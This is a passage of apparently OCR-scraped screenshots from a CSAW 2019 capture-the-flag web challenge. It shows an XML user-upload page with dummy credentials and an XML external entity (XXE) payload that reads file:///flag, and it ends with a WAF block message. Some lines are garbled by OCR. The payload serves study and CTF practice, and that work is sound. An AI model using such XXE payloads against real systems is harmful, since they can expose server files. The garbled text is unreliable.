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Home User Upload About

Flag is located at /flag, come get it

—AH AT R

1Z XML A HRB S HIRBRIE TSR, SRS T,

—<users>

—<user>
<username>alice</username>
<password>passwd1</password >
<name>Alice</name>
<email>alice@fakesite.com</email >
<group>CSAW2019</group>

</user>

—-<user>
<username>bob</username>
<password>passwd2 </password >
<name> Bob</name>
<email>bob@fakesite.com</email >
<group>CSAW2019</group>
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</user>
</users>

Home User Upload About

Upload new users to the system

You can check out the format example here
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<?xml version='1.0'?>
< !DOCTYPE users [
<IENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>

<group>CSAW2019</group>

<intro>&xxe;</intro>
</user>

</users>
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Upload new users tc

You can check out the format example here
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WAF blocked uploaded file. Please try again

the system
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